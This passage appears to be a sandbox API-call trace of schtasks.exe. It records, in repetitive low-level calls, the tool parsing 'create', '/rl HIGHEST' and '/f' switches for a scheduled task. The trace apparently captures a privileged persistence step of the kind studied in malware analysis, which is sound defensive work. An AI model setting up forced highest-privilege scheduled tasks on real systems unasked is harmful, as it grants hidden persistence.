_Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|rl|") returned 4 [0117.847] lstrlenW (lpString="|end|") returned 5 [0117.847] lstrlenW (lpString="|rl|") returned 4 [0117.847] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0117.847] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.847] lstrlenW (lpString="showsid") returned 7 [0117.847] lstrlenW (lpString="showsid") returned 7 [0117.847] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.847] lstrlenW (lpString="rl") returned 2 [0117.847] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.847] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|showsid|") returned 9 [0117.847] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|rl|") returned 4 [0117.847] lstrlenW (lpString="|showsid|") returned 9 [0117.847] lstrlenW (lpString="|rl|") returned 4 [0117.847] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0117.847] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.847] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.847] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.847] lstrlenW (lpString="/rl") returned 3 [0117.847] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0117.847] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.847] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.847] lstrlenW (lpString="/rl") returned 3 [0117.847] GetProcessHeap () returned 0x2159bc10000 [0117.847] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x8) returned 0x2159bc13b50 [0117.847] GetProcessHeap () returned 0x2159bc10000 [0117.847] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc1b350 [0117.847] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.847] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.848] lstrlenW (lpString="HIGHEST") returned 7 [0117.848] lstrlenW (lpString="-/") returned 2 [0117.848] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0117.848] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.848] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.848] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.848] lstrlenW (lpString="HIGHEST") returned 7 [0117.848] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0117.848] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.848] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.848] lstrlenW (lpString="HIGHEST") returned 7 [0117.848] GetProcessHeap () returned 0x2159bc10000 [0117.848] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x10) returned 0x2159bc1a810 [0117.848] GetProcessHeap () returned 0x2159bc10000 [0117.848] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc1b500 [0117.848] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.848] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.848] lstrlenW (lpString="/f") returned 2 [0117.848] lstrlenW (lpString="-/") returned 2 [0117.848] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0117.848] lstrlenW (lpString="?") returned 1 [0117.848] lstrlenW (lpString="?") returned 1 [0117.848] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.848] lstrlenW (lpString="f") returned 1 [0117.848] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.848] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|?|") returned 3 [0117.848] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|f|") returned 3 [0117.848] lstrlenW (lpString="|?|") returned 3 [0117.848] lstrlenW (lpString="|f|") returned 3 [0117.848] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0117.849] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.849] lstrlenW (lpString="create") returned 6 [0117.849] lstrlenW (lpString="create") returned 6 [0117.849] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.849] lstrlenW (lpString="f") returned 1 [0117.849] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.849] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|create|") returned 8 [0117.849] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|f|") returned 3 [0117.849] lstrlenW (lpString="|create|") returned 8 [0117.849] lstrlenW (lpString="|f|") returned 3 [0117.849] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0117.849] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.849] lstrlenW (lpString="delete") returned 6 [0117.849] lstrlenW (lpString="delete") returned 6 [0117.849] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.849] lstrlenW (lpString="f") returned 1 [0117.849] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.849] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|delete|") returned 8 [0117.849] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|f|") returned 3 [0117.849] lstrlenW (lpString="|delete|") returned 8 [0117.849] lstrlenW (lpString="|f|") returned 3 [0117.849] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0117.849] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.849] lstrlenW (lpString="query") returned 5 [0117.849] lstrlenW (lpString="query") returned 5 [0117.849] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.849] lstrlenW (lpString="f") returned 1 [0117.850] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.850] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|query|") returned 7 [0117.850] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|f|") returned 3 [0117.850] lstrlenW (lpString="|query|") returned 7 [0117.850] lstrlenW (lpString="|f|") returned 3 [0117.850] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0117.850] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.850] lstrlenW (lpString="change") returned 6 [0117.850] lstrlenW (lpString="change") returned 6 [0117.850] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.850] lstrlenW (lpString="f") returned 1 [0117.850] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.850] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|change|") returned 8 [0117.850] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|f|") returned 3 [0117.850] lstrlenW (lpString="|change|") returned 8 [0117.850] lstrlenW (lpString="|f|") returned 3 [0117.850] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0117.850] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.850] lstrlenW (lpString="run") returned 3 [0117.850] lstrlenW (lpString="run") returned 3 [0117.850] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.850] lstrlenW (lpString="f") returned 1 [0117.850] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.850] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|run|") returned 5 [0117.850] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|f|") returned 3 [0117.850] lstrlenW (lpString="|run|") returned 5 [0117.850] lstrlenW (lpString="|f|") returned 3 [0117.851] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0117.851] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.851] lstrlenW (lpString="end") returned 3 [0117.851] lstrlenW (lpString="end") returned 3 [0117.851] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.851] lstrlenW (lpString="f") returned 1 [0117.851] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.851] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|end|") returned 5 [0117.851] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|f|") returned 3 [0117.851] lstrlenW (lpString="|end|") returned 5 [0117.851] lstrlenW (lpString="|f|") returned 3 [0117.851] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0117.851] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.851] lstrlenW (lpString="showsid") returned 7 [0117.851] lstrlenW (lpString="showsid") returned 7 [0117.851] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.851] lstrlenW (lpString="f") returned 1 [0117.851] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.851] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|showsid|") returned 9 [0117.851] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|f|") returned 3 [0117.851] lstrlenW (lpString="|showsid|") returned 9 [0117.851] lstrlenW (lpString="|f|") returned 3 [0117.851] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0117.851] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.851] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.851] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.851] lstrlenW (lpString="/f") returned 2 [0117.852] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0117.852] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.852] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.852] lstrlenW (lpString="/f") returned 2 [0117.852] GetProcessHeap () returned 0x2159bc10000 [0117.852] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x6) returned 0x2159bc13b70 [0117.852] GetProcessHeap () returned 0x2159bc10000 [0117.852] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc1b380 [0117.852] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.852] GetProcessHeap () returned 0x2159bc10000 [0117.852] GetProcessHeap () returned 0x2159bc10000 [0117.852] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc138b0) returned 1 [0117.852] GetProcessHeap () returned 0x2159bc10000 [0117.852] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc138b0) returned 0x8 [0117.852] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc138b0) returned 1 [0117.852] GetProcessHeap () returned 0x2159bc10000 [0117.852] GetProcessHeap () returned 0x2159bc10000 [0117.852] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1b890) returned 1 [0117.852] GetProcessHeap () returned 0x2159bc10000 [0117.852] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1b890) returned 0x20 [0117.853] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1b890) returned 1 [0117.853] GetProcessHeap () returned 0x2159bc10000 [0117.853] GetProcessHeap () returned 0x2159bc10000 [0117.853] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1a8f0) returned 1 [0117.853] GetProcessHeap () returned 0x2159bc10000 [0117.853] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1a8f0) returned 0x12 [0117.853] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1a8f0) returned 1 [0117.853] GetProcessHeap () returned 0x2159bc10000 [0117.853] GetProcessHeap () returned 0x2159bc10000 [0117.853] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1b9b0) returned 1 [0117.853] GetProcessHeap () returned 0x2159bc10000 [0117.853] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1b9b0) returned 0x20 [0117.853] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1b9b0) returned 1 [0117.853] GetProcessHeap () returned 0x2159bc10000 [0117.854] GetProcessHeap () returned 0x2159bc10000 [0117.854] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc13b10) returned 1 [0117.854] GetProcessHeap () returned 0x2159bc10000 [0117.854] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc13b10) returned 0x8 [0117.854] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc13b10) returned 1 [0117.854] GetProcessHeap () returned 0x2159bc10000 [0117.854] GetProcessHeap () returned 0x2159bc10000 [0117.854] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1b440) returned 1 [0117.854] GetProcessHeap () returned 0x2159bc10000 [0117.854] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1b440) returned 0x20 [0117.854] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1b440) returned 1 [0117.854] GetProcessHeap () returned 0x2159bc10000 [0117.854] GetProcessHeap () returned 0x2159bc10000 [0117.854] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1aa70) returned 1 [0117.854] GetProcessHeap () returned 0x2159bc10000 [0117.854] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1aa70) returned 0x10 [0117.854] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1aa70) returned 1 [0117.854] GetProcessHeap () returned 0x2159bc10000 [0117.854] GetProcessHeap () returned 0x2159bc10000 [0117.854] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1b6e0) returned 1 [0117.854] GetProcessHeap () returned 0x2159bc10000 [0117.854] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1b6e0) returned 0x20 [0117.855] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1b6e0) returned 1 [0117.855] GetProcessHeap () returned 0x2159bc10000 [0117.855] GetProcessHeap () returned 0x2159bc10000 [0117.855] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc13b30) returned 1 [0117.855] GetProcessHeap () returned 0x2159bc10000 [0117.855] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc13b30) returned 0x8 [0117.855] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc13b30) returned 1 [0117.855] GetProcessHeap () returned 0x2159bc10000 [0117.855] GetProcessHeap () returned 0x2159bc10000 [0117.855] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1b4a0) returned 1 [0117.855] GetProcessHeap () returned 0x2159bc10000 [0117.855] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1b4a0) returned 0x20 [0117.855] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1b4a0) returned 1 [0117.855] GetProcessHeap () returned 0x2159bc10000 [0117.856] GetProcessHeap () returned 0x2159bc10000 [0117.856] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1c200) returned 1 [0117.856] GetProcessHeap () returned 0x2159bc10000 [0117.856] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1c200) returned 0x3a [0117.856] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1c200) returned 1 [0117.856] GetProcessHeap () returned 0x2159bc10000 [0117.856] GetProcessHeap () returned 0x2159bc10000 [0117.856] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1b470) returned 1 [0117.856] GetProcessHeap () returned 0x2159bc10000 [0117.857] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1b470) returned 0x20 [0117.857] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1b470) returned 1 [0117.857] GetProcessHeap () returned 0x2159bc10000 [0117.857] GetProcessHeap () returned 0x2159bc10000 [0117.857] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc13b50) returned 1 [0117.857] GetProcessHeap () returned 0x2159bc10000 [0117.857] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc13b50) returned 0x8 [0117.857] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc13b50) returned 1 [0117.857] GetProcessHeap () returned 0x2159bc10000 [0117.857] GetProcessHeap () returned 0x2159bc10000 [0117.857] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1b350) returned 1 [0117.857] GetProcessHeap () returned 0x2159bc10000 [0117.857] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1b350) returned 0x20 [0117.857] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1b350) returned 1 [0117.858] GetProcessHeap () returned 0x2159bc10000 [0117.858] GetProcessHeap () returned 0x2159bc10000 [0117.858] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1a810) returned 1 [0117.858] GetProcessHeap () returned 0x2159bc10000 [0117.858] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1a810) returned 0x10 [0117.858] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1a810) returned 1 [0117.858] GetProcessHeap () returned 0x2159bc10000 [0117.858] GetProcessHeap () returned 0x2159bc10000 [0117.858] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1b500) returned 1 [0117.858] GetProcessHeap () returned 0x2159bc10000 [0117.858] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1b500) returned 0x20 [0117.858] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1b500) returned 1 [0117.858] GetProcessHeap () returned 0x2159bc10000 [0117.858] GetProcessHeap () returned 0x2159bc10000 [0117.858] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc13b70) returned 1 [0117.858] GetProcessHeap () returned 0x2159bc10000 [0117.858] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc13b70) returned 0x6 [0117.858] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc13b70) returned 1 [0117.858] GetProcessHeap () returned 0x2159bc10000 [0117.858] GetProcessHeap () returned 0x2159bc10000 [0117.858] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1b380) returned 1 [0117.858] GetProcessHeap () returned 0x2159bc10000 [0117.859] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1b380) returned 0x20 [0117.859] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1b380) returned 1 [0117.859] GetProcessHeap () returned 0x2159bc10000 [0117.859] GetProcessHeap () returned 0x2159bc10000 [0117.859] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc14a00) returned 1 [0117.859] GetProcessHeap () returned 0x2159bc10000 [0117.859] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc14a00) returned 0x18 [0117.859] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc14a00) returned 1 [0117.860] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.860] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0117.860] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0117.860] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0117.860] RtlVerifyVersionInfo (VersionInfo=0x23d6e7c4b0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0117.860] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.860] lstrlenW (lpString="create") returned 6 [0117.860] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0117.860] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.860] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.860] lstrlenW (lpString="create") returned 6 [0117.860] GetProcessHeap () returned 0x2159bc10000 [0117.860] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc1b470 [0117.860] GetProcessHeap () returned 0x2159bc10000 [0117.860] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x18) returned 0x2159bc1a8f0 [0117.860] _memicmp (_Buf1=0x2159bc1a8f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.860] GetProcessHeap () returned 0x2159bc10000 [0117.860] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x16) returned 0x2159bc1a850 [0117.860] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.861] _memicmp (_Buf1=0x2159bc120f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.861] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2159bc19a20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0117.861] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x23d6e7c608 | out: lpdwHandle=0x23d6e7c608) returned 0x76c [0117.861] GetProcessHeap () returned 0x2159bc10000 [0117.861] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x776) returned 0x2159bc1c470 [0117.861] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x2159bc1c470 | out: lpData=0x2159bc1c470) returned 1 [0117.861] VerQueryValueW (in: pBlock=0x2159bc1c470, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x23d6e7c5a0, puLen=0x23d6e7c600 | out: lplpBuffer=0x23d6e7c5a0*=0x2159bc1c820, puLen=0x23d6e7c600) returned 1 [0117.861] _memicmp (_Buf1=0x2159bc120f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.861] _vsnwprintf (in: _Buffer=0x2159bc19a20, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x23d6e7c578 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0117.861] VerQueryValueW (in: pBlock=0x2159bc1c470, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x23d6e7c590, puLen=0x23d6e7c5f8 | out: lplpBuffer=0x23d6e7c590*=0x2159bc1c650, puLen=0x23d6e7c5f8) returned 1 [0117.861] lstrlenW (lpString="schtasks.exe") returned 12 [0117.861] lstrlenW (lpString="schtasks.exe") returned 12 [0117.861] lstrlenW (lpString=".EXE") returned 4 [0117.862] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0117.862] lstrlenW (lpString="schtasks.exe") returned 12 [0117.862] lstrlenW (lpString=".EXE") returned 4 [0117.862] lstrlenW (lpString="schtasks") returned 8 [0117.862] lstrlenW (lpString="/create") returned 7 [0117.862] _memicmp (_Buf1=0x2159bc120f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.862] _vsnwprintf (in: _Buffer=0x2159bc19a20, _BufferCount=0x19, _Format="%s %s", _ArgList=0x23d6e7c578 | out: _Buffer="schtasks /create") returned 16 [0117.862] _memicmp (_Buf1=0x2159bc147f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.862] GetProcessHeap () returned 0x2159bc10000 [0117.862] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc1b8c0 [0117.862] _memicmp (_Buf1=0x2159bc146e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.862] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2159bc1ba50, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0117.862] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0117.862] GetProcessHeap () returned 0x2159bc10000 [0117.862] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x30) returned 0x2159bc13b10 [0117.862] _vsnwprintf (in: _Buffer=0x2159bc14230, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x23d6e7c578 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0117.862] GetProcessHeap () returned 0x2159bc10000 [0117.862] GetProcessHeap () returned 0x2159bc10000 [0117.862] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1c470) returned 1 [0117.862] GetProcessHeap () returned 0x2159bc10000 [0117.862] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1c470) returned 0x776 [0117.863] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1c470) returned 1 [0117.864] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.864] GetThreadLocale () returned 0x409 [0117.864] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.864] lstrlenW (lpString="create") returned 6 [0117.864] GetThreadLocale () returned 0x409 [0117.864] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.864] lstrlenW (lpString="?") returned 1 [0117.864] GetThreadLocale () returned 0x409 [0117.864] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.864] lstrlenW (lpString="s") returned 1 [0117.864] GetThreadLocale () returned 0x409 [0117.864] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.864] lstrlenW (lpString="u") returned 1 [0117.864] GetThreadLocale () returned 0x409 [0117.864] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.864] lstrlenW (lpString="p") returned 1 [0117.864] GetThreadLocale () returned 0x409 [0117.864] CompareStringA (Locale=0x409, dwCmpFlags=0x1, 